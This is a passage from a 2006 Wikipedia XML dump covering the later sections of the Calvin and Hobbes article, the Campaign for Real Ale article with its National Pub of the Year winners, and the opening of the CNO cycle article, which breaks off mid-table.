Although there is a definite progression of time in the Calvin and Hobbes universe, mainly exhibited by the changing seasons, Calvin (and Susie) return to Ms. Wormwood's first-grade class every fall.

====Rosalyn====
{{main|Rosalyn|Rosalyn (character)}}

[[Image:Calroz.gif|thumb|left|90px|Rosalyn, Calvin's babysitter.]]

Rosalyn is a [[high school]] student and Calvin's official babysitter whenever Calvin's parents need a night out. She is the only babysitter able to tolerate Calvin's antics, which she uses to demand raises and advances from Calvin's desperate parents.  She is also, according to Watterson, the only person Calvin truly fears&amp;mdash;certainly she is his equal in cunning, and doesn't hesitate to play as dirty as he does.  Originally created as a nameless, one-shot character with no plans to appear again, Watterson decided he wanted to retain her unique ability to intimidate Calvin, which, ultimately, led to many more appearances.

Rosalyn's idea of babysitting is to put Calvin to bed at 6:30, and she has little patience for his attempts to rebel against her. Calvin will often freak out whenever he hears that Rosalyn is going to be babysitting him, in one instance screaming non-stop for an entire strip, and generally attempts to cause as much trouble as possible.  In the final Rosalyn story, however, the traditional war is averted by a game of [[#Calvinball|Calvinball]], in which Rosalyn proves to be a formidable player, and once again trumps Calvin with a clever move in the last panel.

====Moe====
{{main|Moe|Moe (Calvin and Hobbes character)}}

[[Image:Calmoe.gif|frame|right|80px|Moe, a bully at Calvin's school.]]
Moe is the prototypical [[bully]] character in ''Calvin &amp; Hobbes'', &quot;a six-year-old who shaves&quot; who is always shoving Calvin against walls, demanding his lunch money and calling him &quot;Twinky&quot;. Moe is the only regular character who speaks in an unusual font: his (frequently monosyllabic) dialogue is shown in crude, lower-case letters. Watterson describes Moe as &quot;every jerk I've ever known&quot;.

While Rosalyn is frequently a match for Calvin's plans, and serves as, perhaps, his &quot;match&quot; on a more strategic and psychological front, Moe seems to be the only character capable of frustrating Calvin to the point of absolute resignation, and operates merely through brute force and physical coercion. Calvin's rare attempts to retaliate have mainly consisted of mocking Moe with words the bully can't understand.

:''See also [[Secondary characters in Calvin and Hobbes|Secondary characters in ''Calvin and Hobbes'']].''

==Recurring subject matter==
There are several repeating themes in the work, a few involving Calvin's real life, and many stemming from his incredible imagination. Some of the latter are clearly flights of fancy, while others, like Hobbes, are of an apparently dual nature and don't quite work when presumed real ''or'' unreal.

===Calvin's alter-egos===
[[Image:TracerBullet.jpg|right|thumb|Tracer Bullet]]

Calvin's hyperactive imagination leads him to imagine himself as other characters with different powers and goals, sometimes vanishing into a fantasy to escape a difficult situation (like a school quiz). It is important to note that Hobbes is not seen taking part in the fantasies involving Calvin's [[Alter ego|alter-egos]], other than criticizing his choice of alternate personae.  Upon several occasions, Calvin has appeared as either a larger or a smaller version of himself, rampaging through the city like [[Godzilla]] or crawling across a book page as &quot;Calvin, the human insect&quot;.  More frequently, however, his imagination transforms him into a being of a different kind.

Calvin's three preferred alternate personas are ''Stupendous Man,'' a [[superhero]]; ''[[Spaceman Spiff]],'' an astronaut and intergalactic explorer; and ''Tracer Bullet,'' a [[private investigator]].  For details, see [[Secondary characters in Calvin and Hobbes|Secondary characters in ''Calvin and Hobbes'']].

===Monsters under the bed===
At night, Calvin is constantly terrorized by [[Monster|nightmarish creatures]] apparently living under his bed. Only Calvin and Hobbes are aware of them (there are occasions on which they attempt to bribe Hobbes into handing Calvin over, often with food). There appears to be no continuing theme to their appearance except that they are very intimidating, but none too bright, and they probably want to eat Calvin. Two of the monsters are named Maurice and Winslow, but it's unexplained whether it's the same monsters throughout the series.

===G.R.O.S.S.===
G.R.O.S.S. is Calvin's anti-girl club, somewhat reminiscent of a South American-style [[banana republic]]. The name is an [[acronym]] that stands for '''G'''et '''R'''id '''O'''f '''S'''limy girl'''S''' (Calvin admits &quot;slimy girls&quot; is a bit redundant, &quot;but otherwise it doesn't spell anything&quot;). Based in a treehouse, the main objective of G.R.O.S.S. is to exclude girls, mostly Calvin's neighbor Susie. Calvin and Hobbes are its only members, and wear newspaper ''chapeaux'' during meetings. Calvin and Hobbes spend most of their time in the club reworking its constitution and arguing about their excessively bureaucratic roles and titles. Because the club exists specifically to harass girls, they sometimes plan missions to do so. After a mission they give themselves medals, regardless of whether they succeed or fail. Calvin is G.R.O.S.S.'s &quot;Supreme Dictator for Life&quot;, and Hobbes is &quot;President and First Tiger&quot;.

===Mealtimes===
Lunchtime and dinnertime find Calvin eager to share his thoughts about the food he (or anyone else) is eating. Calvin's meals at home are generally depicted as a pile of unidentifiable green goop. Those eating with him are generally repulsed by his colorful descriptions of the cuisine, which is one of the reasons his parents seldom take him to restaurants. He also gives interesting commentary on his food during lunchtime at school, infuriating Susie (he once referred to his dish of beans 'n' franks as &quot;cigar butts in a gallstone sauce&quot;). In one case these descriptions &amp;mdash; specifically referring to the contents of Calvin's school lunch as &quot;a [[Thermos]] full of phlegm&quot; &amp;mdash; were ghastly enough that a newspaper cancelled the strip.  Calvin's mother occasionally coaxes him to eat his dinner by informing him that they are serving some outlandish or stomach-turning dish &amp;mdash; e.g. toxic waste (which Calvin's father informs him will &quot;turn you into a [[mutant (fiction)|mutant]] if you eat it&quot;), monkey heads, spider pie, soup with maggots in it &amp;mdash; which Calvin then eats with relish, though his father usually no longer has an appetite (in the first such comic, however, the parents' roles are reversed). On occasion, his meals are also [[life|animate]], usually resulting in a fight with said food and leaving a large mess that strains his mother's patience.

===Cardboard boxes===
Over the years Calvin has had quite a few adventures involving corrugated cardboard boxes, which he adapts for many different uses. His inventions include a [[Transmogrifier]] and a flying [[time machine]], which he used to go to the dinosaur times.

Building a transmogrifier is accomplished by turning a cardboard box upside-down, attaching an arrow to the side and writing a list of choices on the box. Upon turning the arrow to a particular choice and pushing a button, the transmogrifier instantaneously rearranges the subject's &quot;chemical configuration&quot; (accompanied by a loud ''zap'', or a ''boink''). Calvin makes his first foray into the world of transmogrification when he temporarily turns himself into a tiger, but he finds the experience disappointing. Calvin re-uses some of this technology when he cleverly converts an ordinary water gun into a portable transmogrifier gun, a device which saves his life when he finds himself falling from high altitude.

The time machine is built by flipping the transmogrifier back so that the opening faced upwards again. One uses it by donning a pair of goggles (in order to &quot;contend with vortexes and light speeds&quot;) and climbing into the vehicle. Facing the front makes the machine go forward in time, and facing backwards makes it travel into the past. Calvin and Hobbes discover these time travel mechanics when they attempt to go into the future in order to bring back a few futuristic inventions and patent them in the present, securing a fortune for themselves. However, they face the wrong way and end up in the [[Jurassic]] period, bringing them face-to-face with a very large dinosaur.

A Duplicator is crafted by turning the box on its side. Whatever is put in the box will be duplicated with a ''boink'' sound (hence the book title, ''Scientific Progress Goes Boink''). Calvin envisions having a small team of duplicate Calvins whom he could send off to school, so he could go about his own business during school days. However, the new Calvins prove to be exact replicas, with the same reluctance to go to school, and thus become difficult to control. Calvin later adds an &quot;[[Ethics|Ethicator]]&quot; switch to his duplicator, allowing a duplicate to be designated &quot;good&quot; or &quot;evil,&quot; since he believes that a duplicate of his well-buried &quot;good side&quot; could cause no harm. This experiment is successful at first, with the &quot;good&quot; duplicate willingly doing Calvin's homework and going to school, but soon this adventure too leads to disaster when the duplicate starts being nice to Susie Derkins (who Calvin &quot;hates&quot;). In consequence, Hobbes remarks, &quot;You're the only person I know whose ''good'' side is prone to badness.&quot;

Calvin's last cardboard box invention is the Cerebral Brain Enhance-o-tron, which combined with a [[colander]] creates a &quot;thinking cap,&quot; a garment which enhances his mental prowess (inadvertently causing his head to swell in addition). Upon activation, this machine goes ''brzap.'' Like his other inventions, the Cerebral Enhance-o-tron fails to change his life; even with his &quot;cerebral augmentation,&quot; he is unable to write a school report up to Miss Wormwood's standards.

Most of the other characters do not see his inventions as &quot;real.&quot; For example, when Calvin transmogrifies himself into an owl or a tiger, his parents do not observe the transformation; only he and Hobbes see the change. This is a similar dilemma to that of Hobbes' existence (see [[Calvin and Hobbes#Hobbes.27 reality|above]]).

===Wagon and sled===
Calvin and Hobbes frequently ride downhill in a [[wagon]], [[sled]], or [[toboggan]] (depending on the season) and ponder the meaning of life, death, God, and a variety of other weighty subjects as they hurtle downhill. The course of the vehicle and the obstacles that the characters negotiate as they travel frequently serve as metaphors for and parallel the subject of conversation, and the rides almost always end in a spectacular crash.

The wagon temporarily served as a spacecraft when Calvin and Hobbes realized that the human race was laying waste to Earth by polluting it. They decided to go live on [[Mars]], but returned soon after when they realized that the native Martians (or, &quot;weirdos from another planet&quot;) were terrified of Earthlings. This may have been a case of rumor preceding them; the prospect of terrestrial life polluting Mars as well as Earth was a bleak one. Although this particular wagon ride did not end in a crash, it once again served as an outlet for a subject matter of importance.

===Snowballs and snowmen===
During winter, Calvin often engages in snowball fights (which he almost always loses), usually throwing them at Susie but always resulting in Calvin getting buried in the snow as retaliation. Calvin also builds snowmen; but these are usually grotesque, monstrous deformed creatures (i.e., two-headed snowmen, snow monster with tentacles devouring a bunch of snowmen) or snowmen getting hanged, buried or holding their heads in their hands. Once while walking down the street during winter looking at the snowmen in front of the neighbors' houses, Calvin's father exclaims to his wife, &quot;You can always tell when you get to our house&quot;, due to Calvin being the only one on the block who builds deformed snowmen. In one storyline, Calvin builds a snowman and brings it to life using the power &quot;invested in him by the mighty and awful snow demons&quot;, which turns evil (reminiscent of ''[[Frankenstein (1931 film)|Frankenstein]]''.) The snowman turns itself into a &quot;mutant killer monster snow goon&quot; by giving itself two heads and three arms, and makes copies of itself that are eventually defeated by Calvin. Once, out of ideas, he signed the snow with a stick and declared all the world's snow as his own work of art. Calvin, unlike Hobbes, thinks of snowmen as a fine art. Bill Watterson has said that this is to parody art's &quot;pretentious blowhards&quot; {{ref_harvard|Watterson|Watterson 1995|a}}.

===Calvinball===
Calvinball is a game played almost exclusively by Calvin and Hobbes as a rebellion against organized team sports (like [[baseball]]), although the babysitter Rosalyn plays on one occasion. Participants of Calvinball wear masks; when asked why, Calvin replies that &quot;no one is allowed to question the masks.&quot; The rules of the game, besides that a soccer ball and wickets are almost always used, are invented as they go along, but one consistent rule is that the rules can never be the same twice (which in itself is a self-denying paradox). Either player may change any rule at any time, so the only way to break the rules is by using one rule twice. Scoring is also entirely arbitrary: Hobbes has reported scores of &quot;Q to 12&quot; and &quot;oogy to boogy.&quot; Calvinball is essentially a game of wits and creativity, rather than purely physical feats. However, it's a running joke that Hobbes is typically more successful at the game than Calvin himself. Calvinball could be described as a [[Nomic]] game, and thus bears a similarity to others such as [[Mornington Crescent (game)|Mornington Crescent]]. 

The reader first encounters the game after Calvin's horrible experience with school baseball. He registers to play baseball in order to avoid being teased by the other boys. While daydreaming in the outfield, he misses the switch and ends up making an out against his own team. His classmates mock him and, when he decides to walk away, his coach calls him a &quot;quitter.&quot; That Saturday, Calvin and Hobbes play Calvinball, a game far removed from any organized sport. Even Calvin and Hobbes's own attempts to play organized sports between themselves usually deteriorate into Calvinball, as they end up inventing increasingly bizarre rules that cause whatever sport they were initially playing to spiral out of control.

The concept of &quot;playing Calvinball&quot; continues to appear in popular culture, usually when describing a situation in which the rules are changed according to someone's whims. For example: &quot;...it doesn't really deal with the Congressional incentive to play Calvinball with the budget&quot; (from [http://www.qando.net/details.aspx?Entry=3124 The QandO Blog], 12/21/2005).

Watterson has stated that the greatest number of questions he receives concern Calvinball and how to play it {{ref_harvard|Watterson|Watterson 1995|a}}.

===School and homework===
Calvin hates school and its attendant early-morning risings, irate teachers, homework, and fellow students. Often his mother has to force the unwilling Calvin to go up to the [[school bus]]. Occasionally he manages to avoid the bus, and his mother has to chase him down and force him to board or drive him to school. Calvin often waits for the bus with Hobbes and explains why an intelligent boy like himself does not need school. While at school, he commonly visualizes the building as a hostile planet and his teacher and principal as vicious aliens. Calvin usually lacks the company of Hobbes at school. Sometimes Hobbes does his homework and reading while Calvin watches TV or reads comic books. In general, Calvin is depicted as a poor student who is unable to concentrate in class, has difficulty interacting with other students, and struggles with homework. On occasion, he gets good marks and positive feedback for work, but these are usually short-lived victories.

Also on occasion, Calvin's inability to concentrate in class is compromised by inserting the class subject into his daydream, causing him to get the right answer. This includes spelling &quot;disaster&quot; while being dropped into an alien pit (though in real life he is participating in a spelling bee) and blurting out the right answer at (from his point of view) a completely random moment.

==Calvin and Hobbes books==
The books, labeled &quot;Collections,&quot; form a complete archive of the newspaper strips, except for a single daily strip from [[November 28]], [[1985]]. (The collections ''do'' contain a strip for this date, but it is not the same strip that appeared in some newspapers. The alternate strip, a joke about Hobbes taking a bath in the [[washing machine]], has circulated around the [[Internet]].) &quot;Treasuries&quot; usually combine the two preceding collections with bonus material, and include color reprints of Sunday comics.

A complete collection of Calvin and Hobbes strips, in three hardcover volumes, with a total 1440 pages, was released on [[October 4]], [[2005]], by [[Andrews McMeel]] Publishing. It also includes color prints of the art used on paperback covers, the Treasuries' extra illustrated stories and poems, and a new introduction by Bill Watterson, who is now happily teaching himself to paint. Unfortunately, the alternate 1985 strip is still omitted, and two other strips ([[January 7]], [[1987]], and [[November 25]], [[1988]]) have altered dialogue.

To celebrate the release, Calvin and Hobbes reruns were made available to newspapers from Sunday, [[September 4]], 2005, through Saturday, [[December 31]], 2005, and Bill Watterson answered a select dozen questions submitted by readers. [http://www.amuniversal.com/ups/features/thereturn/] [http://www.andrewsmcmeel.com/calvinandhobbes/returning.html] Like current contemporary strips, weekday ''Calvin and Hobbes'' strips now appear in color print when available, instead of black and white as in their first run.

{| class=&quot;wikitable&quot;
!Title
!Cover
!Date
![[ISBN]]
!Notes
|-
|''Calvin and Hobbes''
|[[Image:Calvin and Hobbes Original.png|100px|&quot;Calvin and Hobbes.&quot;]]
|April 1987
|ISBN 0836220889
|Collection covering strips from first strip on Nov 18, 1985 to Aug 17, 1986. Original content: Foreword by [[Garry Trudeau]]. 
|-
|''Something Under the Bed is Drooling''
|[[Image:Something Under the Bed is Drooling Calvin and Hobbes.gif|100px|&quot;Something Under the Bed is Drooling.&quot;]]
|April 1988
|ISBN 0836218256
|Collection covering strips from Aug 18, 1986 to May 17, 1987. Original content: Foreword by [[Pat Oliphant]]. 
|-
|''The Essential Calvin and Hobbes: A Calvin and Hobbes Treasury''
|[[Image:The Essential Calvin and Hobbes.png|100px|&quot;The Essential Calvin and Hobbes: A Calvin and Hobbes Treasury.&quot;]]
|September 1988
|ISBN 0836218051
|Treasury including cartoons from ''Calvin and Hobbes'' &amp; ''Something Under the Bed is Drooling''. Original content: Foreword by [[Charles M. Schulz]] and original illustrated poem, &quot;A Nauseous Nocturne.&quot;
|-
|''Yukon Ho!'' 
|[[Image:Yukon Ho Calvin and Hobbes Book.jpg|100px|&quot;Yukon Ho!&quot;]]
|March 1989
|ISBN 0836218353
|Collection covering strips from May 24, 1987 to Feb 1988(?). Original content: The &quot;Yukon Song.&quot;
|-
|''The Calvin and Hobbes Lazy Sunday Book: A Collection of Sunday Calvin and Hobbes Cartoons''
|[[Image:The Calvin and Hobbes Lazy Sunday Book.gif|100px|&quot;The Calvin and Hobbes Lazy Sunday Book: A Collection of Sunday Calvin and Hobbes Cartoons.&quot;]]
|September 1989
|ISBN 0836218523
|Favorite Sunday comics. Ten-page story &quot;Spaceman Spiff: Interplanetary Explorer Extraordinaire!&quot;
|-
|''Weirdos From Another Planet!'' 
|[[Image:WEIRDOS.jpg|100px|&quot;Weirdos From Another Planet.&quot;]]
|March 1990
|ISBN 0836218620
|Collection covering strips from Feb 1988(?) to Dec 4, 1988.&lt;br /&gt;Its main story is similar to that of ''Yukon Ho!'', Calvin and Hobbes are tired of the pollution on Earth, and decide to move out. This time, instead of just their family, they try to secede from the planet. In a wagon they leave Earth for Mars. They find out that the Martians are scared of them, because earthlings pollute the environment, so they go back home. The story ends with Dad examining the suitcase which Calvin and Hobbes had carried to Mars.
|-
|''The Authoritative Calvin and Hobbes: A Calvin and Hobbes Treasury''
|[[Image:Authoritative Calvin and Hobbes.png|100px|&quot;The Authoritative Calvin and Hobbes.&quot;]]
|October 1990
|ISBN 0836218221
|Treasury including cartoons from ''Yukon Ho!'' &amp; ''Weirdos From Another Planet!''. Original content: Seven-page story in which Calvin becomes an elephant. 
|-
|''The Revenge of the Baby-Sat''
|[[Image:Revenge of the Baby-Sat Calvin and Hobbes Book.jpg|100px|&quot;The Revenge of the Baby-Sat.&quot;]]
|April 1991
|ISBN 0836218663
|Collection covering strips from Dec 5, 1988 to Sept 1989(?).
|-
|''Scientific Progress Goes &quot;Boink&quot;''
|[[Image:Scientific Progress Goes Boink Calvin and Hobbes Book.jpg|100px|Scientific Progress Goes &quot;Boink.&quot;]]
|October 1991
|ISBN 0836218787
|Collection covering strips from Sept 1989(?) to Jul 7, 1990.
|-
|''Attack of the Deranged Mutant Killer Monster Snow Goons''
|[[Image:Attack of the Deranged Mutant Killer Monster Snow Goons Calvin and Hobbes.jpg|100px|&quot;Attack of the Deranged Mutant Killer Monster Snow Goons.&quot;]]
|April 1992
|ISBN 0836218833
|Collection covering strips from Jul 8, 1990 to Apr 10, 1991.
|-
|''The Indispensable Calvin and Hobbes'' 
|[[Image:The Indispensable Calvin and Hobbes.jpg|100px|&quot;The Indispensable Calvin and Hobbes.&quot;]]
|October 1992
|ISBN 0836218981
|Treasury including cartoons from ''The Revenge of the Baby-Sat'' &amp; ''Scientific Progress Goes &quot;Boink&quot;''. Original content: Several illustrated poems. 
|-
|''The Days are Just Packed''
|[[Image:The Days are Just Packed Calvin and Hobbes.png|100px|&quot;The Days are Just Packed.&quot;]]
|October 1993
|ISBN 0836217357
|Collection covering strips from Apr 11, 1991 to Nov 1, 1992.
|-
|''Homicidal Psycho Jungle Cat''
|[[Image:Homicidal Psyco Jungle Cat Calvin and Hobbes.jpg|100px|&quot;Homicidal Psycho Jungle Cat.&quot;]]
|October 1994
|ISBN 0836217691 
|Collection covering strips from Nov 2, 1992 to Aug 29, 1993.
|-
|''The Calvin and Hobbes Tenth Anniversary Book''
|[[Image:Calvin and Hobbes 10th Anniversary Book.jpg|100px|&quot;The Calvin and Hobbes Tenth Anniversary Book.&quot;]]
|October 1995
|ISBN 0836204387
|Original content: Commentary by Watterson and annotations on individual strips.
|-
|''There's Treasure Everywhere''
|[[Image:Theres Treasure Everywhere Calvin and Hobbes.gif|100px|&quot;There's Treasure Everywhere.&quot;]]
|March 1996
|ISBN 0836213122
|Collection covering strips from Aug 30, 1993 to Apr 8, 1995. (Some strips from March are in ''It's A Magical World''.)
|-
|''It's A Magical World''
|[[Image:Its A Magical World Clavin and Hobbes Book.png|100px|&quot;It's A Magical World.&quot;]]
|October 1996
|ISBN 0836221362
|Final collection covering strips from Mar 20, 1995 to the last strip on Dec 31, 1995. (Some strips from April are in ''There's Treasure Everywhere''.)
|-
|''Calvin and Hobbes: Sunday Pages 1985-1995''
|[[Image:Calvin and Hobbes Sunday Pages 1985 to 1995.jpg|100px|&quot;Calvin and Hobbes Sunday Pages 1985-1995.&quot;]]
|September 2001
|ISBN 0740721356
|Collection of favorite Sundays. Original content: Original sketches and commentary by Watterson.
|-
|''The Complete Calvin and Hobbes''
|[[Image:The Complete Calvin and Hobbes.jpg|100px|&quot;The Complete Calvin and Hobbes.&quot;]]
|October 2005
|ISBN 0740748475
|Three-volume set containing all strips. 22.5 lbs. Includes Spiff feature, the illustrated poems, and color prints of other cover art. Original content: Introduction and commentary.
|}

Early books were printed in smaller format in black and white that were later reproduced in twos in color in the &quot;Treasuries&quot; (''Essential'', ''Authoritative'', and ''Indispensable'')&amp;ndash; except for the contents of ''Attack of the Deranged Mutant Killer Monster Snow Goons''. Those Sunday strips were never reprinted in color until the ''Complete'' collection was finally published in 2005. Every book since ''Snow Goons'' has been printed in a larger format with Sundays in color and weekday and Saturday strips larger than they appeared in most newspapers.

Remaining books do contain some additional content; for instance, ''The Calvin and Hobbes Lazy Sunday Book'' contains a long [[watercolor]] Spaceman Spiff epic not seen elsewhere until ''Complete'', and ''The Calvin and Hobbes Tenth Anniversary Book'' contains much original commentary from Watterson. ''Calvin and Hobbes: Sunday Pages 1985-1995'' contains 36 Sunday strips in color alongside Watterson's original sketches, prepared for an exhibition at The [[Ohio State University]] Cartoon Research Library.

An officially licensed children's textbook entitled ''Teaching with Calvin and Hobbes'' (ISBN 1878849158) was published in 1993.

==See also==
*[[Calvin and Hobbes in translation]]
*[[Comic and cartoon characters named after people]]
*[[Horrendous Space Kablooie]]
*[[List of fictional films#Fictional films from Calvin and Hobbes|List of fictional films in ''Calvin and Hobbes'']]
*[[References to Calvin and Hobbes|References to ''Calvin and Hobbes'']]
*[[Setting of Calvin and Hobbes|Setting of ''Calvin and Hobbes'']]
*[[Bill Watterson]]

==References==
:''The following links were last verified [[21 February]] [[2006]].
* {{note_label|Andrews|Andrews McMeel 2005|none}} {{Press release reference
 | Organization = Andrews McMeel Publishing, LLC
 | Date = [[October 4]](?), 2005
 | Title = Fans From Around the World Interview Bill Watterson
 | URL = http://www.andrewsmcmeel.com/calvinandhobbes/interview.html
 }}
* {{cite web
 | authorlink = David Astor
 | last = Astor | first = David
 | year = [[February 8]], [[1986]]
 | title = An overnight success after five years
 | work = [[Editor &amp; Publisher]]
 | url = http://ignatz.brinkster.net/covernight.html
 | accessdate = July 12 | accessyear = 2005
 }}
* {{note_label|Astor1|Astor 1988|none}} {{cite web
 | authorlink = David Astor
 | last = Astor | first = David
 | year = [[December 3]], [[1988]]
 | title = Watterson knocks the shrinking of comics
 | work = [[Editor &amp; Publisher]]
 | url = http://ignatz.brinkster.net/cshrinking.html
 | accessdate = July 12 | accessyear = 2005
 }}
* {{note_label|Astor2|Astor 1989|none}} {{cite web
 | authorlink = David Astor
 | last = Astor | first = David
 | year = [[November 4]], [[1989]]
 | title = Watterson and Walker differ on comics
 | work = [[Editor &amp; Publisher]]
 | url = http://ignatz.brinkster.net/cdiffer.html
 | accessdate = July 12 | accessyear = 2005
 }}
* {{note_label|Christie|Christie 1987|none}} {{cite web
 | last = Christie | first = Andrew
 | year = January 1987
 | title = An interview with Bill Watterson
 | work = Honk Magazine
 | url = http://ignatz.brinkster.net/chonk.html
 | accessdate = July 12
 | accessyear = 2005
 }}
* {{note_label|Dean|Dean 1987|none}} {{cite web
 | authorlink = Paul Dean
 | last = Dean | first = Paul
 | year = [[April 1]], [[1987]]
 | title = ''Calvin and Hobbes'' creator draws on the simple life
 | work = [[Los Angeles Times]]
 | url = http://ignatz.brinkster.net/csimple.html
 | accessdate = July 12 | accessyear = 2005
 }}
* {{cite web
 | title = NCS Reuben Award winners (1975-present)
 | work = National Cartoonists Society
 | url = http://www.reuben.org/ncs/archive/divisions/reuben2.asp
 | accessdate = July 12 | accessyear = 2005
 }}
* {{note_label|Watterson|Watterson 1995|a}} {{note_label|Watterson|Watterson 1995:184|b}} {{cite book
 | authorlink = Bill Watterson
 | last = Watterson | first = Bill
 | title = The Calvin and Hobbes Tenth Anniversary Book
 | publisher = Andrews McMeel
 | month = October
 | year = 1995
 | id = ISBN 0-836-20438-7
 }}
* {{note_label|SundayPages|Watterson 2001|none}} {{cite book
 | authorlink = Bill Watterson
 | last = Watterson | first = Bill
 | title = Calvin and Hobbes: Sunday Pages 1985-1995
 | publisher = Andrews McMeel
 | month = September
 | year = 2001
 | pages = page 15
 | id = ISBN 0740721356
 }}
* {{note_label|West|West, 1989|none}} {{cite journal
 | last = West | first =  Richard Samuel
 | title = Interview: Bill Watterson
 | journal = [[The Comics Journal]]
 | year = February 1989
 | issue = issue #127
 | url = http://ignatz.brinkster.net/ccomicsjournal.html
 }}
* {{note_label|Williams|Williams 1987|none}} {{cite web
 | last = Williams | first = Gene
 | year = [[August 30]], [[1987]]
 | title = Watterson: Calvin's other alter ego
 | work = [[Cleveland Plain Dealer]]
 | url = http://ignatz.brinkster.net/calterego.html
 | accessdate = July 12
 | accessyear = 2005
 }}

==External links== 
{{Wikiquote}}
{{commons|Calvin and Hobbes}}
:''The following links were last verified [[23 February]] [[2006]].
*[http://www.ucomics.com/calvinandhobbes/ Official ''Calvin and Hobbes'' site]
*[http://home3.inet.tele.dk/stadil/calvin.htm ''Calvin and Hobbes'' Magical World]
*[http://www.calvinandhobbeshideout.com ''Calvin and Hobbes'' Hideout]
*[http://www.transmogrifier.org/ch/comics/list.cgi Calvin and Hobbes Browser]
*[http://www.simplych.com/ Simply ''Calvin and Hobbes'']
*[http://ignatz.brinkster.net/calvin.html ''Calvin and Hobbes''::Magic on Paper]
*[http://www.calvin-and-hobbes.org ''Calvin and Hobbes'' Resurrected]
*[http://www.theheartofgold.org/jumpstation/ The ''Calvin and Hobbes'' Jumpstation]

{{featured article}}

[[Category:Calvin and Hobbes|*]]
[[Category:Comic strips]]
[[Category:Fictional tigers|Hobbes]]
[[Category:Fictional pairs]]
[[Category:Comics characters]]
[[Category:Fictional cats|Hobbes]]

{{Link FA|it}}

[[da:Steen og Stoffer]]
[[de:Calvin &amp; Hobbes]]
[[es:Calvin y Hobbes]]
[[fi:Lassi ja Leevi]]
[[fr:Calvin et Hobbes]]
[[it:Calvin &amp; Hobbes]]
[[ja:カルビンとホッブス]]
[[nl:Casper en Hobbes]]
[[no:Tommy og Tigern]]
[[pt:Calvin e Hobbes]]
[[simple:Calvin and Hobbes]]
[[sv:Kalle och Hobbe]]
[[tr:Calvin ve Hobbes]]</text>
    </revision>
  </page>
  <page>
    <title>Campaign for Real Ale</title>
    <id>6060</id>
    <revision>
      <id>41006354</id>
      <timestamp>2006-02-24T12:46:24Z</timestamp>
      <contributor>
        <username>Bobet</username>
        <id>445629</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/155.232.250.19|155.232.250.19]] to last version by 81.144.192.148</comment>
      <text xml:space="preserve">[[Image:CAMRA.jpg|right]]

'''CAMRA''' (the '''CAMpaign for Real Ale''') is an independent, voluntary, [[consumer organisation]] in the [[United Kingdom]], with the main aim of promoting [[real ale]] and the traditional [[United Kingdom|British]] [[public house|pub]]. It is now the biggest single-issue consumer group in the UK.

==Founder Members==

The organization was founded in 1971 by a group of four drinkers, Graham Lees, Bill Mellor, Michael Hardman, and Jim Makin opposed to the growing industrialisation and homogenisation taking place within the British [[brewing]] industry.  One of the early members is [[Good Beer Guide]] editor [[Roger Protz]]. Camra has over 75,000 members as of March 2005. Member benefits include a monthly newsletter &quot;What's Brewing&quot; and reduced price admission to CAMRA-organised [[beer festival]]s.

==Details==

The original name was the CAMpaign for the Reactivation of Ale.

CAMRA's campaign aims include promoting small brewing and pub businesses, reforming licensing laws, reducing tax on beer, and stopping continued consolidation among local British brewers. It also makes an effort to promote less common varieties of beer and similar brewed beverages including [[Stout beer|stout]], [[Porter (beer)|porter]], [[Mild beer|mild]], traditional [[cider]] and [[scrumpy]], and [[perry]].

CAMRA publishes the [[Good Beer Guide]], an annually compiled directory of its recommended pubs and brewers.  They also run the [[Great British Beer Festival]], a yearly event held in [[London]] which presents a selection of [[cask ale]]s.

CAMRA has established influence at national government level, including with [[English Heritage]]

==Awards==
CAMRA presents many local and national awards including:


CAMRA National Pub of the Year


2005

Winner: The Swan, Little Totham, Essex

Runners Up: The Check Inn at North Wroughton, Wiltshire

Old Coach House, Southwell, Nottinghamshire 

The Robin Hood, Jarrow, Tyne and Wear


2004

Winner: The Fat Cat, Norwich
 
Runners Up: The Arden Arms, Stockport and New Inn, Halse, Somerset
 
The Olde Swan, Netherton, West Midlands
 

2003

Winner: The Crown &amp; Thistle, Gravesend, Kent, DA12 2RF

Runners Up: Marquis of Granby, Granby, Nottinghamshire, NG13 9PN

Taps, Lytham St Anne's, Lancashire, FY8 5LR

South Western Arms, St Denys, Southampton, SO17 2HW


2002

Winner: The Swan, Little Totham, Essex, CM9 8JL

Runners Up: The Albert Tavern, Freuchie, Fife, KY15 7EX

Plough and Harrow, Monknash, Glamorgan, CF71 7QQ

Railway, Stockport, Greater Manchester, SK1 2BZ


2001

Winner: Nursery Inn, Heaton Norris, Greater Manchester, SK4 2NA


2000

Winner: Blisland Inn, Blisland, Cornwall, PL30 4JF


1999

Winner: The Rising Sun, Tipton, West Midlands, DY4 7NH


1998

Winner: The Fat Cat, Norwich, NR2 4NA


1997/1998

Winner: Volunteer Arms (Staggs), Musselburgh, EH21 6JE


1997

Winner: Sair Inn, Linthwaite, West Yorkshire, HD7 5SG


1996

Winner: Halfway House, Pitney, Somerset, TA10 9AB


1995

Winner: Coalbrookedale Inn, Coalbrookedale, Telford, TF8 7DX


1994

Winner: Beamish Mary Inn, No Place, Co Durham, DH9 0QH


1993

Winners: Three Kings, Hanley Castle, Worcestershire, WR8 0BL and Fisherman's Tavern, Broughty Ferry, Tayside, DD5 2AD


1992

No Award


1991

Great Western, Wolverhampton, West Midlands, WV3 9SE


1990

Bell, Aldworth, Berkshire, RG17 9QJ


1989

Cap &amp; Feathers, Tillingham, Essex, CM0 7TH


1988

The Boars Head, Kinmuck, Grampian

==See also==
*[[Society Of Independent Brewers]]

==External links==
*[http://www.camra.org.uk/ CAMRA's website]
*[http://www.faqs.org/faqs/uk/food/realale/ Newsgroup FAQ]

[[Category:Public houses in the United Kingdom]]
[[Category:British beer]]
[[Category:British organisations]]

[[no:Campaign for Real Ale]]
[[sv:CAMRA]]</text>
    </revision>
  </page>
  <page>
    <title>CNO cycle</title>
    <id>6061</id>
    <revision>
      <id>38737602</id>
      <timestamp>2006-02-08T07:45:40Z</timestamp>
      <contributor>
        <username>Mike18xx</username>
        <id>305845</id>
      </contributor>
      <text xml:space="preserve">{{unsourced}}

The '''CNO''' ([[carbon]]-[[nitrogen]]-[[oxygen]]) cycle 
is one of two [[nuclear fusion|fusion]] [[nuclear reaction|reaction]]s by which [[star]]s convert [[hydrogen]] to [[helium]], the other being the [[proton-proton chain]].
While the proton-proton chain is more important in stars the size of the [[sun]] or less, theoretical models show that the CNO cycle is the dominant source of energy in heavier stars.  The CNO process was proposed in [[1938]] by [[Hans Bethe]].

The reactions of the CNO cycle are: 

&lt;dl&gt;&lt;dd&gt;&lt;table border=&quot;0&quot;&gt;
